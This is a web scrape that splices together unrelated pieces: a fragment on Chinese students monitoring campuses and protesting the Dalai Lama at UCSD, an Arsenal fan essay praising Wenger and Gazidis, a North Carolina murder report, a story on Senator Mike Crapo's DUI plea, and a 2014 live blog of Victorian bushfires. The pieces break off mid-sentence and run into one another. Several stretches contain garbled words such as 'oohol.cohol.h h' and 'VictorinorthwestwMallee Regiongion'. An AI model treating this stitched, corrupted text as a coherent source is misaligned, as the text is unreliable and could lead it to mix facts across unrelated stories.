That same year, Australian officials admitted they had to improve their counter-intelligence operations at Sydney and Melbourne universities to counter Beijing’s use of Chinese students to monitor students and lecturers.
More recently, Chinese students have been vehemently protesting against the University of California San Diego’s (UCSD) announcement last month that the Dalai Lama would deliver the commencement speech at this year’s graduation ceremony. Opposition against the Dalai Lama’s visit—on the grounds that the Tibetan spiritual leader is seen by some Chinese as a terrorist—was spearheaded by UCSD’s Chinese Students and Scholars Association, which had been in communication with the Chinese consulate over the issue.“When I arrived here 13 years ago I could sense that
this club had values, tradition, and strength in their belief and in their
values.
“When I travelled at that time
to Derby or to Coventry when they were in the Premier League, they always told
me it is ‘the Arsenal way’ to do things.
“They do it their way and it
was always respect and admiration in their statements and I believe it is
essential and important that we keep that inside the club.”
– Arsene Wenger, 2009
I sometimes feel, from what I hear
from fellow football fans and read online and on Twitter, that I am one of the
few remaining Gooners that are in total reverence of Arsene Wenger, Ivan Gazidis,
and their performance to date. Yes, reverence. It’s the word I’m looking for.
You see I believe it takes an
enormous amount of resolve to hold steady to your goals in the face of the
perpetually negative coverage, derision, ridicule, abuse, distrust; and, at times,
open hostility that appears to have taken over these past 10 years.
Here are two men that have been
accused of using Arsenal as a cash cow, of allowing our competitors to get away
from us, and most hilariously of all, of lacking ambition.
Arsenal lack ambition – Really?
You see the hilarity isn’t even in
the basic argument that we can have over and over again. That in itself is
funny, the fact that building a world class stadium, paying for it ourselves
and maintaining elite European status while other clubs had the luxury of being
able to invest solely in usurping us, is considered ‘lacking ambition’.
Really? While simultaneously
building a huge cash reserve, expanding our revenue and worldwide reach despite
regularly hemorrhaging top quality players, and doing this during the most
economically ridiculous times the game has ever seen.
Really? So who else has done it
before?
And even having achieved all of this
in the face of such derision, the deriders are still not seeing the punchline…
What’s hilarious is that the joke is
about to land squarely on anyone that levels or has leveled that claim against
Arsenal. They are, in fact, the ones who lack ambition. They have no idea what
we’re building here. They haven’t been able to see it, and they’ll still take a
couple of seasons of convincing probably, but that’s ok.
The truth is, the end game has never
really been about winning FA Cups and Carling Cups, or even throwing everything
at winning the league during this period of growth. To have thrown all our
money at top quality players in order to win trophies in recent years, would
have been shooting our load a bit early. We may have had success for a period,
but it would have taken us longer to reach the real end game.
Let me tell you what ambition is to
me. Ambition is doing what nobody has ever done before. Ambition is having a
vision so big that you earn more detractors than admirers.
How dare they?
Ambition is believing that, during
an era of artificial financial conditions within the game, you can still build
a world class footballing empire through patience, dedication, focus, skill,
and application.
That is what Arsenal have done. That
is ambition. We did it with football. That is our purpose. We are a football
club.
Back in the late 90s and early
century there were two heavyweights in English football: ourselves and Manchester
United. However there was only one European heavyweight hailing from the UK,
and that was Man Utd. Only Man Utd could go toe to toe with the likes of Bayern
Munich, Juventus, A.C. Milan, Real
Madrid and Barcelona. On the merit of
our game we were considered a class outfit, but in truth, for us to stay at the
top and consistently recreate that level of quality, we needed to be making
more money. Recycling and maintaining a world class squad requires world class
finances. It requires a world class reputation and world class facilities, and
it requires a world class philosophy. If you have all of these, you don’t need
anything else. It’s all yours for the taking.
Arsene Wenger had come in and raised
the bar so high for Arsenal fans, that he wanted us to be able to enjoy that
level of football long after he had gone. That was the end game, and he
promised to do it all with the football.
Fast forward to 2013 and Arsenal
have just announced that we are on target to match the £300m revenue generated
by many people’s model superclub – Bayern Munich. We congratulate them on their
success but they had their stadium given to them. It was a gift. The money
they’ve been making ever since, although superbly managed, was aided by a
tremendous gift. No such luck for Arsenal, we had to build ours with our own
resources.
We now have the money to make
signings at the financial level that the artificially enhanced and
traditionally giant clubs have been doing for years. You know, the clubs
that you’ve been accusing us of lacking the ambition to match. The ones that
could afford to dismantle our squads by brandishing obscene amounts of money
that some of them didn’t even earn, at our star players and those of many other
clubs. They took steroids to overtake us, pushed the financial limits beyond
anything we’d planned for… and after eight years of eating clean, training
mean, ignoring the haters, and staying completely focused on the end game…we
are now poised to become a true superclub, trophies et al.
Ambition is taking the path you
believe in and having faith in your ability to get where you want to go.
Ambition is to keep swimming against
the tide, no matter what conditions you face, until you have reached your
destination.
In the face of financial doping, of
media negativity, open criticism, horrendous injury luck, treachery,
temptation, so many near misses and having to start all over again. Never
giving up my friends, that is ambition.
Ambition is to continue on your path
despite making costly mistakes, so long as you know that somewhere within the
grand plan, your efforts are helping to reach your goals. Remember, this is
about the end game.
Ambition is knowing that even those
that accuse you of lacking it, have no idea how big your dream truly is.
They can’t quantify our success
because they can’t even see it.
This has always been about now. We
may have had success earlier than now, but after careful management, planning
and development, Wenger has had two potentially world-beating teams taken
apart. Some would say by mismanagement but personally I put it down to hugely
inflated transfer fees and wages at the top of the game. So inflated that
football itself is taking steps to calm it down.
The 07/08 team had made massive
strides. They needed one more year. They were picked apart. The 10/11 team the
same. They are the two squads that really looked like we’d cracked it on the
field. Picked apart again. Then we lost Cesc Fabregas, Gael Clichy and Samir Nasri,
Then Robin van Persie and Alex Song. This was their time, the squad would have
been peaking and we’d have been epic.
Contract naivety undid us in 10/11
especially and the following summer with Song and RvP. We’ve fixed that. The
club have realised that loyalty in this game can easily be bought now.
Difference between now and years gone by is that we can afford it.
We have, organically, maintained our
position amongst the elite. The only teams that have overtaken us in England
had to artificially strengthen themselves in order to leave us behind. They
cherry picked our top talent: they strengthened by weakening us. We dipped but
we never fell.
Now we go toe to toe with them
again. In eight years we have built everything that it took Man Utd 26 years to
build. City bought it all. Chelsea, though the most successful English club
outside of United, still have a way to go. They need to bring their stadium up
to superclub level.
We have done what every good father
tries to teach his child. We have focused and have not been afraid of our
mistakes. We have been resilient; we’ve been fair and sporting. We’ve lived
within our means and strived to achieve something better. We’ve looked to the
future and established a foundation that is ready to succeed within these crazy
times. We’ve been loyal to our staff, both playing and otherwise. We’ve given
anybody that shows true determination and application, the chance to succeed.
We’ve been a proper football club.
Now we have money, we have a stadium
and we have commercial reach. We have a British core to take us into these new,
fantastic times. We can afford world class players any season that we need
them. We have a squad that has maturity, unity, resilience, technique, emerging
talents and space for one or two top class additions to truly complete a group
that will challenge for years to come.
Through all the trials and
tribulations – granted, some were self-inflicted, but in the same breath you
have to congratulate them for not letting such mistakes veer them from a path
that they believed in… Arsene Wenger and Ivan Gazidis have built a modern
superclub. We can pay the big transfer fees and the big wages. We are at the
top of the game as the footballing world finally tries to regulate itself. It
doesn’t matter to us. If teams want to stretch us again they need more
steroids. We get stronger anyway.
Wenger and Gazidis kept going and
resisted all temptation. They didn’t look enviously into anyone else’s
plate. Arsenal ate clean, we trained mean. We took the rough with the
smooth. We took the bumps and bruises, went up against the juggernauts, won
some, and lost some. But we stuck to the regime.
Now we are on the cusp of becoming
one of the strongest clubs in world football. We can develop, AND buy world
class. We don’t have to pick one or the other anymore. Chelsea and City still
do, no matter what they’ve won to date.
We’re now about to make the arsenal
philosophy of exhilarating football a winning and revered brand around the
world. And if managed well, it will stay that way for generations.
That’s the end game
So can we stop lamenting and
scrutinizing the |
police with first-degree murder in the slaying of Uhon Trumanne Johnson, 31, around 10:30 p.m. Oct. 27 at Pisgah View. The incident was part of an armed robbery, according to arrest warrants. Police won't say if Johnson was armed.
Uhon Johnson and Griffin were "close friends," according to Jamal Johnson, a friend of both men. Jamal Johnson said the events have "really shocked" him.
Uhon Johnson would later die of a gunshot wound to the head. Griffin, by that time, would be shot by two deputies after allegedly fleeing arrest in a car stolen from Johnson.
Four days later, police connected Griffin to the disappearance of King and Diz. He is being held in the Buncombe County Detention Facility without bond.
The last post on Diz' Facebook page is from Oct. 26, the day before the women vanished. She posted 14 photos of her and King on a road trip to a Halloween fest in Charlotte. The two are beaming in each photo.
Diz posted as a caption, "Scarowinds was a BLAST. Thank you for another amazing date my love."
Read or Share this story: http://avlne.ws/1NvwFHCRepublican Sen. Mike Crapo of Idaho pleaded guilty to driving under the influence on Friday in a Virginia courtroom, and had his drivers license suspended for a year and was fined $250. A 180-day sentence was suspended on condition of good behavior.
Crapo, a Mormon, was pulled over in Alexandria, Va., the wee hours of December 23rd for running a red light. The arresting office reported that his speech was slurred, his eyes bloodshot, and that the two-term senator smelled of alcohol. He reportedly confessed to consuming “several shots of vodka.”
Crapo said Friday that he had consumed vodka tonics, was “restless and could not sleep,” and decided to take a late night drive through Washington, D.C. and its Virginia suburbs. Despite his church’s strictures against drinking, Crapo said he had consumed alcohol for relief of stress.
“It was a poor choice to use alcohol to relieve stress and was at odds with my religious beliefs,” said the 61-year-old Crapo. “However, on the night of December 22, I made an even worse decision to go out for a drive and get out of my apartment to wind down.”
The senator’s blood alcohol content was 0.11, higher than the Old Dominion’s legal limit of 0.08.
Crapo must enroll in alcohol awareness classes. The senator said he does not intend to drive in Virginia, Washington, D.C., or Idaho for a year.
Crapo continued his mea culpa, saying: “I believe public officials should be held to higher standards since I have been entrusted by Idahoans to make choices and make votes on their behalf. I offer my apologies and ask for your forgiveness for my recent failings. I make a firm commitment that I will strive to regain your trust again.”
Crapo was the second Idaho senator arrested in recent years. Then-Sen. Larry Craig was busted in 2007 by an undercover police officer in a restroom at the Minneapolis-St. Paul International Airport, and charged with disorderly conduct. Craig claimed he was not making sexual overtures, but takes a “wide stance” when relieving himself.
Crapo is the second Northwest politician in recent years to have his mug shot published.
British Columbia’s then-Premier Gordon Campbell was pulled over for a DUI while on winter vacation in Maui, and spent a night in jail.
The Idaho Statesman has urged constituents to forgive Crapo. Campbell was forgiven, with a lot of support from Vancouver’s two daily newspapers. He won another term as premier, and is today Canada’s High Commissioner (Ambassador) to Great Britain.
“It was a poor choice
oohol.cohol.h hFIREFIGHTERS continue to battle blazes across Victoria, the main ones in the Grampians, Gippsland and the Mallee.
The Grampians tourist town of Halls Gap, which was evacuated yesterday, although some residents chose to stay and defend their homes.
Authorities said the threat had ease for now and resident should be able to return home later today.
A woman's body was found at her Roses Gap property on Friday morning, although authorities say she died as a result of a medical issue.
The Grampians fire complex was so intense on Friday it created a 12-kilometre-wide convection column, generating its own weather and lightning strikes and sparking smaller spot fires.
Lightning strikes started about 25 fires in East Gippsland, which are forecast to form an inferno of half a million hectares that will take a huge effort to control.
About 500 people have been at relief centres at Horsham, Stawell and Ararat in recent days.
SCROLL DOWN FOR MAP CONTAINING LATEST WARNINGS
>> FIRE WATCH: LATEST WARNINGS AND ADVICE
>> FULL WRAP OF FIRES BURNING ACROSS THE STATE
>> GIPPSLAND FIRES TAKE TOLL ON FIREFIGHTERS
>> ARSON FEARS OVER HUME HIGHWAY FIRES
>> CHECK THE VICROADS WEBSITE FOR ROAD CLOSURE INFO
** Our rolling coverage has ended this evening **
CLICK HERE to read our fire wrap
CLICK HERE to follow live alerts from the CFA
6.40PM: THE fire emergency facing Victorian's Grampians region is over and the tourist village of Halls Gap has escaped unscathed.
The main threat had passed by Saturday afternoon and an emergency warning for Halls Gap and Grampians Junction was downgraded to a watch and act alert.
The blaze is not yet under control.
Authorities say fire came within 2kms of Halls Gap but an earlier-than-expected wind change saved the village.
Residents were being allowed back on Saturday afternoon.
6.13PM: VOLUNTEER firefighter Daryl Maslen posted this video on Facebook.
Maslen said: "So we were deployed all over the Grampians providing asset protection, when we get a call saying get back to the highway the fire has jumped the road with the wind change and we need to provide asset protection for a little caravan type park, and on the way there, this is what strike team 0864 had to go through to get there."
6.01PM: LATEST status of Victoria's bushfires, according to AAP
* More than 100,000ha burnt
* Four homes lost
* One death, a Roses Gap woman, from a medical issue
* Worst is over but firefighting effort to continue in some places for days
* 34 main fires still burning
* Worst fire conditions since Black Saturday 2009
* Four-day heatwave ended Friday
* Emergency relief grants up to $1250 for each family affected by fires; up to $31,000 for those who have lost their homes
MAJOR FIRES:
GRAMPIANS
* More than 51,000ha
* Halls Gap spared after tourist village and nearby towns evacuated on Friday
* One death
* Four homes lost; other property damage
* Sheds and many kilometres of fencing damaged or destroyed
* 7500 sheep killed or injured
* 500 people at three relief centres in past few days
MALLEE
* Cluster of fires burning for days
* More than 60,000ha burnt
GIPPSLAND
* More than 30 fires in remote bushland
* Large cluster of fires north of Club Terrace, at least 3000ha
* Firefighting efforts to continue for at least 7-10 days
BIG RIVER COUNTRY
* Northern side of the Great Divide in remote access area
* Fire is north of Melbourne water catchments
4.40PM: THE worst of the bushfires appears to be over, officials said, as firefighters battling the blazes welcomed cooler conditions after days of extreme heat.
Four homes were lost in a fire in the Grampians region, in western Victoria, where a massive 52,000-hectare blaze had threatened townships and prompted the evacuation of holiday spots.
Fire Services Commissioner Craig Lapsley said the fires across the state, most of which were sparked by lightning, had burned through 100,000 hectares and 34 blazes were still burning.
But he said no emergency warnings were now in place and residents who had evacuated in the Grampians would be able to return home.
"I think the worst is behind us,'' Lapsley said.
4.10PM: RESIDENTS of Ouyen faced a bushfire emergency when most people were tucked up in bed asleep.
An emergency warning was issued in the early hours of Saturday for Ouyen's 1000 residents when the blaze raced out of the Bronzewing Flora and Fauna Reserve and towards the town.
Fire Services Commissioner Craig Lapsley said it was a serious situation.
"The fire looked extremely large in the sense that the glow in the sky was huge and showing up for many kilometres,'' he said.
"We were lucky the fire didn't come to the outskirts of Ouyen but it certainly was considered as a serious threat.''
Mr Lapsley said that most of the time, emergency warnings were issued and people told to enact their bushfire plans during the day.
He said Ouyen faced the added complexity that the town was under threat in the dark.
"I think that's very difficult for communities to understand. (It's) very difficult to warn people when they've actually gone to bed and very difficult for people to orientate themselves on what action they should take when it's in the night hours.''
State fire controller Alan Goodwin said the fire, a few kilometres south of Ouyen in the state's northwest, was very active after a wind change on Friday night.
"It made some runs on that wind but our firefighters were able to pick it up very quickly and contain it as it came out of the forest,'' Mr Goodwin said.
The blaze is one of several in the Mallee region, which have burned more than 40,000 hectares.
2PM: FIRES burning in the Grampians Junction, Halls Gap, Murrayville, Torrita, Underbool, Walpeup, Linga, Dadswells Bridge, St Helens Plains have all been downgraded by the CFA to watch and act.
12.30PM: LESSONS learned from Black Saturday have helped reduce the destruction as a severe bushfire tore through the Grampians, the Premier said.
But Denis Napthine urged Victorians to remain alert over the coming days, and throughout the rest of the fire season.
"While there are cooler conditions with the change, this fire is still going," he said.
"There are 35 fires going in Victoria.
"We face hot conditions again instead January and early February.
"This is a stark reminder to all Victorians that we live in a fire-prone part of the world."
Dr Napthine praised the residents of Halls Gap and Pomonal for heeding the call to "leave early and live".
He said there would be an opportunity for those people to return to their homes today.
Emergency relief grants of up to $1250 for families affected by bushfire and up to $31,000 for those who have lost their homes will be available, with residents able to apply at relief grant offices in relief centres.
Dr Napthine applauded the work of the emergency services to restrict the damage caused by the large Grampians blaze.
"The changes that have been made following Black Saturday, the lessons learned from Black Saturday, the better coordination of our agencies has meant that the way these extreme weather have been dealt with in 2014 have significantly improved and delivered significantly better outcomes than we had in 2009," he said.
"There is no doubt that the improvements that have been made as a result of Black Saturday have saved lives."
The government would soon look at beginning to rebuild the affected area and helping tourism operators in the popular holiday area rebuild and bring visitors back into the area.
"The government stands shoulder to shoulder with these people," Dr Napthine said.
"We will assist people who lost property and houses."
11.40AM: RESIDENTS forced to flee their homes in the fire-ravaged northern Grampians should be able to return to their homes today, with authorities this morning confident the worst has passed.
Grampians Incident Controller John Haynes said four houses had been confirmed as destroyed in the blaze - two near Dadswells Bridge and two in Brimpaen - along with a number of sheds and power poles and about 7500 sheep.
A woman also died in Roses Gap on Friday.
But Mr Haynes said her death "wasn't because of fire", but the result of a medical issue.
"We have sketchy information. The police took over the investigation yesterday morning," he said.
Mr Hayne said Halls Gap had so far been lucky to avoid the 51,000ha fire, thanks to an early wind change about 2pm on Friday.
The main fire got to within just 3km of the north Grampians town, while spot fires travelled "a lot closer", he said.
"That wind change came earlier than we expected, which was fortunate because the fire didn't extend a long way," Mr Hayne said.
"At 8pm we had a stronger southeasterly change of 60 to 80km/h which spread the fire north into the Mount Difficult Range and towards Dadswells Bridge."
Authorities are still concerned spot fires could cause damage in the town, and so have maintained an emergency warning for the area this morning.
"We want to make sure we have control of that this morning," Mr Haynes said.
He added residents of Pomonal, which escaped the blaze, would be the first to be allowed to go home today.
Dadswells Bridge and Halls Gap would also hopefully be reopened this afternoon.
Mr Haynes said the fire had come "extremely close" to the towns.
"All predictions were that there were gonna be numerous spot fires that would become fires in their own right. We took it very seriously."
11.20AM: MORE than 30 fires are raging out of control in Gippsland and there are fears they will merge into a half-a-million-hectare inferno.
State fire controller Alan Goodwin said there was "quite a bit'' of fire activity overnight around Club Terrace near Cann River and Orbost, as well as around Glenaladale in central Gippsland and Westbury.
News_Image_File: CFA firefighters Louie Carvalho, Keidan Dawson, Damien Speed and Mandy Maglaras from Warrnambool CFA pictured this morning getting ready for their day.
The fire emergency affecting Club Terrace in East Gippsland has eased with an emergency warning downgraded to a watch and act alert.
There are still multiple bushfires to the west and the north which could potentially affect nearby communities, a State Control Centre spokeswoman said.
Mr Goodwin said there's still 30-plus bushfires raging out of control in Gippsland.
Fire Services Commissioner Craig Lapsley on Friday said lightning strikes started a series of fires in East Gippsland which were uniting into a single blaze that could soon cover an area of more than 500,000ha.
Mr Lapsley said the fire would likely take more than a week to be controlled.
News_Image_File: Fire bombing aircraft land to refuel and fill with water at the Stawell Aerodrome. Picture: Jason Edwards
10.15AM: A HUGE bushfire continues to threaten the Grampians National Park and may have damaged more property.
Authorities have been told the fire damaged two properties near the town of Dadswells Bridge.
The Grampians fire complex has been so intense it created a 12km-wide convection column, generating its own weather and lightning strikes and sparking smaller spotfires.
News_Image_File: CFA crews getting ready for the day at a Stawell staging ground.
9AM: FIREFIGHTERS will make use of milder conditions to try to gain control over a huge bushfire threatening Victoria.
At 7am this morning, firefighters were dealing with 35 blazes across Victoria, but only one emergency warning was still in place, down from three a few hours earlier.
Authorities have also received reports that more property was damaged by fire overnight at Dadswells Bridge.
The biggest concern remains the Grampians Junction blaze, which is burning close to Halls Gap.
State Control Centre spokeswoman Kim Payne said a southerly change last night caused erratic fire behaviour.
"That pushed the fire in a northerly direction to St Helens Plains and closed the western highway,'' she told AAP.
However, firefighters were able to stop its spread and an emergency warning for St Helens Plains was downgraded.
Ms Payne said conditions were milder today.
"The fire danger rating is very high whereas yesterday is was two steps above that,'' she said.
News_Image_File: Herald Sun reader Jacqueline Wilson sent in this image taken from a pub of lightning striking at Halls Gap last night. Picture: Jacqueline Wilson
8.30AM: AS fires continues to rage, these are the latest pictures that have come in from our photographers taken in the Grampians last night.
News_Image_File: The Grampians fire at the back of Dadswells Bridge. Picture: Jay Town
News_Image_File: Fire at Dadswells Bridge. Picture: Jay Town
8.02AM: THE CFA has issued an emergency warning for the communities of Grampians Junction and Halls Gap.
Spot fires and an ember attack are possible for Halls Gap as the fire burns to the west of the town in the Mount Difficult Range.
Fire authorities say it is too late to leave and the safest option is to take shelter indoors immediately.
7.40AM: REPORTER Brendan Casey who flew over Halls Gap in a chopper has described the scene:
THE communities around Halls Gap looked more like ghost towns as fire crews worked to control the persistent Grampians fires.
Water bomber dumps water on #bushfires burning between Halls Gap and Stawell. pic.twitter.com/vxGXBdbLig — Brendan Casey (@BrendoHeraldSun) January 17, 2014
The sky was an ominous mix of orange and black as water bombers struggled to see clearly through the heavy smoke.
Aerial shot of some of the houses in Halls Gap. Town deserted. #bushfires pic.twitter.com/v9zBUwRKSh — Brendan Casey (@BrendoHeraldSun) January 17, 2014
Fortunately, most inhabitants had taken heed of the CFA warnings and evacuated, but scattered farmers could be seen taking shelter, hoping to avoid any cruel twist of fate.
The welcome southerly winds brought temperatures down as evening fell, but firefighters would be working well into the night to try and bring the blazes under control.
Looking out from the helicopter over the long stretches of farmland and the countless homes that were unaffected, we can be thankful that the damage wasn't much worse.
7.29AM: FIREFIGHTERS have continued to battle more than 50 blazes across the state, the worst of them in the Grampians which is still threatening the towns of Dadswells Bridge and Halls Gap.
The fire has burnt more than 51,000 ha and two properties near Dadswells Bridge may have been impacted by the fire.
The southerly wind change which moved across the area about 8pm last night caused erratic fire behaviour for several hours and caused the fire to spread in a northerly direction towards St Helens Plains.
Incident Controller Andrew Morrow said firefighters battled that section during the night, eventually containing it at 5am.
"We advised that leaving at the time was the safest option as fire behaviour was extremely unpredictable and conditions were becoming increasingly dangerous," Mr Morrow said.
He praised the efforts of ground crews and said they did a fantastic job overnight in difficult conditions.
"There is plenty of work still to be done in containing the fire and moving in to the recovery stage," he said.
"This morning in daylight hours we will be able to get a better assessment of what has occurred overnight and what needs to be done over the next few days."
Premier Denis Napthine will visit the bushfire affected communities later today.
The Western Highway and the Henty Highway are both expected to reopen this morning. Residents can keep up-to-date with the latest road closures at www.vicroads.vic.gov.au
6.50AM: THE monstrous Victorian bushfire that killed a woman and is creating its own weather continues to menace towns in the Grampians.
The blaze is the chief concern for firefighters as a blustery wind change played havoc with fire conditions.
Several hundred firefighters worked across Friday night and this morning to protect Halls Gap and the surrounding areas of Ledcourt, Dadswells Bridge and Grampians Junction.
The fire has already claimed the life of a woman, found dead at her Roses Gap property on Friday morning, while at least two homes have been destroyed at Wartook.
A spokeswoman from the State Control Centre said conditions were incredibly difficult for the 621 firefighters in the area.
"The fire has caused a convection column which is creating its own weat - er - so lightning strikes and very erratic winds," she told AAP.
"The surrounding winds have also changed, so it's quite unpredictable."
In the state's eastern corner, residents of Club Terrace, near Orbost, anxiously awaited the progress of a bushfire burning to the town's north.
Authorities say a series of 25 fires sparked by lightning in east Gippsland were merging to create a single, massive bushfire which could grow to half a million hectares in size.
Fires have burnt through more than 40,000 hectares in the Mallee region and are expected to continue through the weekend.
While most of the state was cooled by south-westerlyerly change, conditions in Victoria's northeast will still be extremely hot on Saturday, with the temperature forecast to reach 40C at Wangaratta and 42C at Wodonga.
A total fire ban has been declared for the Mallee, Wimmera, Northern Country, North East, East Gippsland and West and South Gippsland fire districts today.
6.40AM: Fire are also threatening communities in South Australia. For latest see the Adelaide Advertiser
SATURDAY 6.30AM: Firefighters in Melbourne were also busy overnight after a blaze claimed an iconic Melbourne restaurant.
The Stokehouse was gutted in a blaze that was believed to have started in the kitchen.
CLICK HERE FOR PICTURES AND LATEST
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FRIDAY 11:50PM: Erratic weather is fuelling the wild bushfires in the Grampians, as more than 600 firefighters attempt to control the blazes.
Strong winds and lightning are making it difficult for fire crews to contain around 75 fires across the state overnight.
The CFA has issued emergency warnings to St Helens Plain, Grampians Junction and Halls Gap.
About 41,000ha of land remains ablaze in the Grampians.
11:45PM: A fast-moving, out-of-control bushfire is travelling in a north easterly direction towards Ouyen.
An emergency warning has been issued and the CFA says it is too late for residents to leave.
9:58PM: Residents of Pomonal who decided to stay and defend their properties do not have access to water due to a fault in a major pipeline.
A spokeswoman from GWM Water said the kilometre-long pipeline between Halls Gap and Pomonal has damaged and crews are unable to repair the problem until tomorrow.
"There's no water supple to the town of Pomonal at the moment because of a break in the pipeline. It's unlikely to be restored until tomorrow," she said.
News_Image_File: A helicopter waterbombs the fire in the Grampians. Picture: CFA
9:47PM: A fire in the Licola and Tamboritha area is currently 50ha in size.
There is no threat to communities but campers and walkers in the Carey River catchment, north of the Avon Wilderness Park, the Lake Tarli Karng track network and the Mount Wellington to Millers Hut 4WD area are advised to leave and all visitors should stay away from these areas.
9:40PM: A fire in the Sunbury area are has subsided.
The CFA says the grassfire is now safe.
8.34PM: The fire in the Northern end of the Grampians National Park is now about 41,000ha in size and is travelling in a south easterly direction towards Halls Gap.
An emergency warning has been issued for Grampians Junction and Halls Gap and residents have been told it is too late to leave and to seek immediate shelter indoors.
News_Image_File: A Helicopter waterbombs the fire front near Black Ridge in the Grampians. Picture: Paul Loughnan.
8.07PM: The CFA says there is a fast-moving, out-of-control bushfire travelling in a north easterly direction from the Grampians National Park towards Dadswells Bridge and Ledcourt.
An emergency warning has been issued with the fire now approximately 3km south of Dadswells Bridge and 1.5km from Ledcourt.
The nearest relief centre that it is safe to travel to is at Horsham. The Western Highway is closed but residents will be able to use the Western Highway to leave.
7.55PM: An emergency warning has been issued for The Fingerboards, Glenaladale and Fernbank in the state's west.
The CFA says there is a fast-moving, out-of-control bushfire travelling in a south and easterly direction from Limpyers Road in the Fernbank State forest towards the Bairnsdale-Dargo and Fernbank -Glenaladale Roads and Honeysuckle Road, with spotfires and ember attacks occurring in the area.
Residents have been told it is too late to leave and to seek immediate shelter indoors.
7.27PM: Firefighters have stopped the spread of a 40ha grassfire in the Barkly area.
The CFA downgraded its warning to residents in Frenchmans, Landsborough, Redbank, Warrenmang, Moonambel and Barkly, saying the grassfire was under control.
News_Module: Victoria fire warnings
6.22PM: Speaking on the unfolding fire events, Premier Denis Napthine said:
"I am disappointed that people haven't taken the message (to evacuate)," he said.
"We had an unfortunate tragedy at Roses Gap where a local resident stayed when they were given advice to leave and they lost their life.
"That should be a very, very salient lesson to everybody that when you are told to leave, when you are told there is a huge risk to your life and property, then your life is worth saving by leaving early and making sure that you are safe.
"The threat is not over, there are 70 ongoing fires and particularly there are significant fires still in the Grampians, potentially in the Black Range... in western Victornorth-westerntern Victoria in the Mallee and in very large fires in Gippsland."
He said he was "shocked, appalled and disgusted" of reports some fires may have been deliberately lit.
"The is no words that can be used to describe the lowlife that would light fires in these situations," he said.
"They are putting lives at risk, lives of ordinary citizens, they're putting the lives of CFA volunteers, of MFB and CFA professionals."
He thanked emergency services and volunteers.
6.19PM: Fires burning for days across 40,000ha in VictorinorthwestwMallee Regiongion are expected to continue through the weekend.
Several bushfires are burning out of control in the Mallee with firefighters bracing for the aftermath of this afternoon's strong wind change.
Fire Services Commissioner Craig Lapsley said the fires were now 40,000ha in size.
He said it would be a very difficult fire for firefighters once the strong south-westerly wind change moved through.
"We could only hope that they get on top of it by the end of the day but our assessment is this fire will continue to be a going fire into tomorrow and the weekend."
Nine aircraft are supporting about 250 firefighters in the battle to control the blazes occurring mainly in parkland and reserves.
Hopetoun West, Hopevale and Kenmare were also put on an emergency alert for tonight with a bushfire headed south from Paradise Flora and Fauna Reserve towards Kenmare.
Residents in all the towns are being told that leaving their homes is the safest option.
Residents have been urged to heed authorities' advice as fire in the Grampians burns on. Picture: Stuart McEvoy
6.05PM: Firefighters have stopped the spread of a grassfire at Emu in central Victoria although it is not yet under control.
An emergency warning was downgraded to a watch and act alert late this afternoon.
6.01PM: Premier Denis Napthine is receiving a briefing on the fire situation at the State Control Centre.
5.40PM: Fire crews have wrested control of grassfires along the Hume Freeway.
The CFA downgraded its warning to residents at 4.35pm, saying the firefighters had stopped the spread of the fire.
Donnybrook, Epping, Kalkallo, Lalor, Somerton, Roxburgh Park, Campbellfield and Craigieburn are no longer under threat.
Emergency service vehicles are still in the affected areas and motorist are urged to take care on the roads as visibility is low and smoke is still present.
Major roads, including the Hume Freeway, are still closed.
Gisborne Incident Control Centre deputy incident controller Roger Walker said the cause of the three fires was still not yet determined.
Read more about the Hume Freeway fires here
5.19PM: Police confirm the person found dead earlier to - aye - the first victim of the fi - es - was a woman.
She was found in Roses Gap, northwest of Stawell.
News_Image_File: Smoke from the Grampians fire blankets the sky. Photo: Jake Nowakowski
5.09PM: CFA update:
Firefighters dealing with around 70 going fires. There are 9 Emergency Warnings, 7 Watch and Act and 42 Advice messages across Victoria. — CFA Updates (@CFA_Updates) January 17, 2014
5.07PM: A total fire ban will remain in place tomorrow for the Mallee, Wimmera, Northern Country, North East, East Gippsland and West and South Gippsland districts.
4.55PM: The CFA has issued an emergency warning for the Glenaladale area near Bairnsdale
Residents have been told to seek immediate shelter indoors because it is too late to leave.
"There is a fast moving, out of control bushfire travelling in a south and easterly direction from Limpyers Road in the Fernbank State forest towards the Bairnsdale-Dargo and Fernbank -Glenaladale Roads and Honeysuckle Road," a CFA alert said.
4.33PM: south-westerlyerly change is moving through the northern Grampians.
It has passed through Stawell and is moving through Halls Gap towards the Wimmera.
News_Image_File: Firefighters battle a blaze threatening to break containment lines near Westbury in Gippsland. Picture: Alex Coppel
4.32PM: The Grampians fire has a 12km convection column which is generating its own weather conditions, Fire Services Commissioner Craig Lapsley says.
"As we speak they are having lightning in the area generated by that convection column, they are having spot fires dropping in and around Halls Gap."
The fire front was about two kilometres north of Halls Gap by about 4pm.
As well as the emergency warnings applying for the northern Grampians areas that were warned to evacuate, one was also issued for the Black Range, Mokepilly and Rhymney, west of Halls Gap, effective 3.30pm.
An emergency warning has also been issued for Glenaladale and Davidsons Road, Iguana Creek, in East Gippsland due to a fast-moving, out-of-control grassfire.
News_Image_File: A waterbombing helicopter returns to Halls Gap from the firefont this afternoon. Picture: Stuart McEvoy
4.10PM: Residents in the northwest Victorian towns of Tempy and Gypsum have been issued an emergency bushfire warning, the second in as many days.
A fast-moving, out-of-control bushfire is heading towards Tempy, near Ouyen.
It is expected to impact Tempy, Gypsum and Pier Milan by about 5.30pm today.
Fire Services Commissioner Craig Lapsley said the fire would be the product of more than 25 smaller blazes joining together.
"That fire has the potential to burn significant areas over the next couple of days," he said.
An emergency warning is in place for Club Terrace, near Mallacoota.
The Princes Highway between Orbost and Cann River will be closed on Friday afternoon.
3.50PM: Two community activity centres in Epping have been evacuated and several child care centres advised to enact emergency plans if required as fire continue to burn along the Hume Freeway.
The Barry Road Community Activity Centre and the Epping Views Family and Community Centre in Lyndarum Drive, have been evacuated as a precaution. Buildings are not under fire threat.
Whittlesea Council has also closed activity centres in Mernda and Doreen.
All child care centres in the City of Whittlesea have been notified of fire incidents and advised to enact emergency plans if required... read more
3.19PM: A fire burning in Gippsland could soon reach half a million hectares.
Emergency Services Minister Kim Wells said the out-of-control bushfire in Gippsland could soon be more than 500,000 hectares in size.
Mr Wells said efforts would be made to protect electricity transmission lines in the area.
News_Image_File: CFA crews battle a fire in Trafalgar, West Gippsland, that was started by a lightning strike. Picture: Alex Coppel News_Image_File: A firefighter is treated for heat exhaustion while battling the Trafalgar blaze. Picture: Alex Coppel
3.16PM: Arsonists have deliberately sparked 12 fires in Victoria as soaring temperatures and strong winds create the most dangerous fire conditions since Black Saturday.
